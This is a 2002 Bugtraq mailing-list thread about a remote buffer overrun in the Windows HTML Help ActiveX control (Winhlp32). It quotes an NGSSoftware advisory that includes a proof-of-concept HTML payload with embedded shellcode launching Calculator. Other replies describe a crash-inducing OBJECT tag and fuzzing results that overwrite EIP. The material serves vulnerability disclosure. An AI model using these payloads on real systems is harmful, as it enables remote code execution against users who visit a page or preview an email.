RE: Winhelp32 Remote Buffer Overrun

["Drew" <dcopley () eeye com>]

Running this on my local file fuzzer, Litchfield's begins to hit
exceptions at 
200 increments. (At a blank value it gives a memory error).

At 216 increments (and at least for awhile, above) it overwrites EIP
with 
41414141. (Windows 2000 Service Pack 2). 

Testing Jelmer's as it was written below I ran to 10,000 increments
and did not find an issue. Testing to 10,000 with .TIF as the extension
did not find an issue. Testing these same case tests with using the
method 
HHClick() as in Litchfield's does not give an issue.

It may have been with another method, or perhaps some interaction with
the webpage. It may be the characters used to bruteforce it. Perhaps,
they
were unicode (which I could test, as well as anything else).



> -----Original Message-----
> From: Mark Litchfield [mailto:mark () ngssoftware com] 
> Sent: Tuesday, August 06, 2002 12:24 PM
> To: Jelmer; bugtraq () securityfocus com
> Subject: Re: Winhelp32 Remote Buffer Overrun
>
>
> If I am not mistaken, I believe that Microsoft are aware of 
> this issue and have an IE patch comming out very shortly.  My 
> brother reported this to them, please see 
> http://www.nextgenss.com/vna/ms-whelp.txt
>
> Regards
>
> Cheers,
>
>
> Mark Litchfield
>
> ----- Original Message -----
> From: "Jelmer" <jelmer () kuperus xs4all nl>
> To: "Next Generation Insight Security Research Team" 
> <mark () ngssoftware com>; <bugtraq () securityfocus com>; 
> <ntbugtraq () listser ntbugtraq com>
> Sent: Thursday, August 01, 2002 5:19 PM
> Subject: Re: Winhelp32 Remote Buffer Overrun
>
>
> > I just installed servicepack 3 and the following code still 
> crashed my 
> > my IE6 with a memory could not be refferenced error.
> >
> >  <OBJECT ID=hhctrl TYPE="application/x-oleobject" 
> > CLASSID="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
> >     <PARAM name="Command" value="Shortcut">
> >     <PARAM name="Button" value="Bitmap:shortcut">
> >     <PARAM name="Item1" value=",,">
> >     <PARAM name="Item2" value="273,1,1">
> >     <PARAM name="codebase" value="">
> >     <PARAM name="Font" value=" A VERY VERY LONG STRING "> </OBJECT>
> >
> > I have been told this means it is most likely exploitable. I am not 
> > into buffer overflows myself though, maybe someone can 
> confirm this. 
> > Anyways I notified microsoft of this several months ago. 
> The day after 
> > I notified
> them
> > someone pointed me to the ngssoftware advisory *sob*, and I 
> notified 
> > microsoft that this was probably the same issue, last I heard from 
> > them
> they
> > where looking in to if this was indeed the case. It's been several 
> > months and as far as I know they are still looking.
> >
> > --
> >  jelmer
> >
> > ----- Original Message -----
> > From: "Next Generation Insight Security Research Team" 
> > <mark () ngssoftware com>
> > To: <bugtraq () securityfocus com>; <ntbugtraq () listser ntbugtraq com>
> > Sent: Friday, August 02, 2002 3:59 AM
> > Subject: Winhelp32 Remote Buffer Overrun
> >
> >
> > > -----BEGIN PGP SIGNED MESSAGE-----
> > > Hash: SHA1
> > >
> > > NGSSoftware Insight Security Research Advisory
> > >
> > > Name:    Winhlp32.exe Remote BufferOverrun
> > > Systems Affected:  Win2K Platform
> > > Severity:  Critical
> > > Category:               Remote Buffer Overrun
> > > Vendor URL:   http://www.mircosoft.com
> > > Author:   Mark Litchfield (mark () ngssoftware com)
> > > Date:   1st August 2002
> > > Advisory number: #NISR01082002
> > >
> > >
> > > Description
> > > ***********
> > >
> > > Many of the features available in HTML Help are 
> implemented through 
> > > the HTML Help ActiveX control (HHCtrl.ocx). The HTML Help ActiveX 
> > > control is used to provide navigation features (such as a 
> table of 
> > > contents), to display secondary windows and pop-up 
> definitions, and 
> > > to provide other features. The HTML Help ActiveX control 
> can be used 
> > > from topics in a compiled Help system as well as from HTML pages 
> > > displayed in a Web browser. The functionality provided by 
> the HTML 
> > > Help ActiveX control will run in the HTML Help Viewer or in any 
> > > browser that supports ActiveX technology, such as 
> Internet Explorer 
> > > (version 3.01 or later). Some features, as with the 
> WinHlp Command, 
> > > provided by the HTML Help ActiveX control are meant to be 
> available 
> > > only when it is used from a compiled HTML Help file 
> (.chm) that is 
> > > displayed by using the HTML Help Viewer.
> > >
> > > Details
> > > *******
> > >
> > > Winhlp32.exe is vulnerable to a bufferoverrun attack 
> using the Item 
> > > parameter within WinHlp Command, the item parameter is used to 
> > > specify the file path of the WinHelp (.hlp) file in which the 
> > > WinHelp topic is stored, and the window name of the 
> target window.  
> > > Using this overrun, an attacker can successfully exectute 
> arbitary 
> > > code on a remote system by either encouraging the victim 
> to visit a 
> > > particular web page, whereby code would execute 
> automatically, or by 
> > > including the exploit within the source of an email.  In 
> regards to 
> > > email, execution would automatically occur when the mail 
> appears in 
> > > the preview pane and ActiveX objects are allowed (This is 
> allowed by 
> > > default, the Internet Security Settings would have to be 
> set as HIGH 
> > > to prevent execution of this vulnerability). Any exploit would 
> > > execute in the context of the logged on user.
> > >
> > > Visual POC Exploit
> > > ******************
> > >
> > > This POC will simply display Calculator.  Please note that this 
> > > written on a Win2k PC with SP2 installed.  I have not 
> tested it on 
> > > anything else.
> > >
> > > <OBJECT classid=clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11
> > > codeBase=hhctrl.ocx#Version=4,72,8252,0 height=0 id=winhelp 
> > > type=application/x-oleobject width=0><PARAM NAME="Width" 
> > > VALUE="26"><PARAM NAME="Height" VALUE="26"><PARAM NAME="Command" 
> > > VALUE="WinHelp"><PARAM NAME="Item1" 
> VALUE="3ÀPhcalc4$&#402;À&#1;PV¸¯§éwÿÐ3ÀP¾&#8221;éwÿÖAAAAAA
> > > AA
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> > >
> AAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOP
> > >
> PPPQQQQRRRRSSSSTTTAAAA&#11;©õwABCDEFGH&#402;Æ&#21;ÿægMyWindow"><PARAM
> > > NAME="Item2" VALUE="NGS Software LTD"></OBJECT>
> > > <SCRIPT>winhelp.HHClick()</SCRIPT>
> > >
> > >
> > > Fix Information
> > > ***************
> > >
> > > NGSSoftware alerted Microsoft to these problems on the 6th March 
> > > 2002. NGSSoftware highly recommend installing Microsoft 
> Windows SP3, 
> > > as the fix has been built into this service pack found at 
> > > http://www.microsoft.com An alternative to these patches 
> would be to 
> > > ensure the security settings found in the Internet 
> Options is set to 
> > > high. Despite the Medium setting, stating that unsigned ActiveX 
> > > controls will not be downloaded, Kylie will still execute 
> Calc.exe.  
> > > Another alternative would be to remove winhlp32.exe if it is not 
> > > required within your environment.
> > > A check for these issues has been added to Typhon II, of 
> which more
> > > information is available from the
> > > NGSSoftware website, http://www.ngssoftware.com.
> > >
> > > Further Information
> > > *******************
> > >
> > > For further information about the scope and effects of buffer 
> > > overflows, please see
> > >
> > > http://www.ngssoftware.com/papers/non-stack-bo-windows.pdf
> > > http://www.ngssoftware.com/papers/ntbufferoverflow.html
> > > http://www.ngssoftware.com/papers/bufferoverflowpaper.rtf
> > > http://www.ngssoftware.com/papers/unicodebo.pdf
> > >
> > >
> > >
> > >
> > >
> > >
> > >
> > >
> > > -----BEGIN PGP SIGNATURE-----
> > > Version: PGPfreeware 7.0.3 for non-commercial use 
> > > <http://www.pgp.com>
> > >
> > > iQA/AwUBPUnnf8a1CFAff8bXEQLz8gCgm4lbs5Fs2WUH5Au2cAkG0JQKKLMAn13p
> > > a+qSkYWrz7uspZcqqRTc2r0C
> > > =2PKN
> > > -----END PGP SIGNATURE-----